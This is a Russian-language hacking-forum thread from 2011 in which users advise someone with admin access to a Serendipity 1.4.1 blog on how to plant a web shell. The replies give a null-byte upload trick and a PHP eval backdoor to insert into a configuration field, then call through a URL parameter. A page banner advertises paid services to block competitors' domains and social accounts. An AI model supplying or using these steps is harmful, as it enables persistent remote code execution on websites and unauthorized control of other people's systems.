Заливка веб-шелла через админку

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Песочница
Заливка веб-шелла через админку

Опции темы

Поиск в этой теме

Опции просмотра

29.11.2011, 00:38

Pirotexnik

Постоянный

Регистрация: 13.10.2010

Сообщений: 375

С нами: 8200406

Репутация: 38

Доброго времени суток.

Есть доступ в админку Serendipity 1.4.1.

Нету возможгости заливать "активные файлы".

Перепробовал кучу вариантов с нуль-байтом, кавычками и тп.

Не вышло.

Смог залить запакованую версию wso.php.gz

Есть какой нить вариант залить рабочий шелл?

𝕏 Twitter Reddit Telegram Копировать ссылку

29.11.2011, 06:40

tabletkO

Познающий

Регистрация: 03.11.2011

Сообщений: 83

С нами: 7644566

Репутация: 11

Пробуй через конфиг:

eval(stripslashes($_POST[cmd']));

29.11.2011, 11:40

OxoTnik

Постоянный

Регистрация: 10.06.2011

Сообщений: 939

С нами: 7854806

Репутация: 173

wso.php%00.gz --> wso.php

сорь не уследил за твойм текстом, про нул байт.

29.11.2011, 17:34

Pirotexnik

Постоянный

Регистрация: 13.10.2010

Сообщений: 375

С нами: 8200406

Репутация: 38

Цитата:

Сообщение от tabletkO

Пробуй через конфиг:
eval(stripslashes($_POST[cmd']));

Нету доступа к консоле. Есть только доступ в админку блога на сайте.

29.11.2011, 17:41

tabletkO

Познающий

Регистрация: 03.11.2011

Сообщений: 83

С нами: 7644566

Репутация: 11

Через админку:

Adminstration => Configuration

Там много параметров, в одну "маловажную" ставишь свой шелл-код, в нашем случае:

eval(stripslashes($_GET[cmd']));

Потом, по идее, шелл должен быть по адресу:

http://site.ru/serendipity_config_local.inc.php?cmd=phpinfo();

P.S. Не тестил =)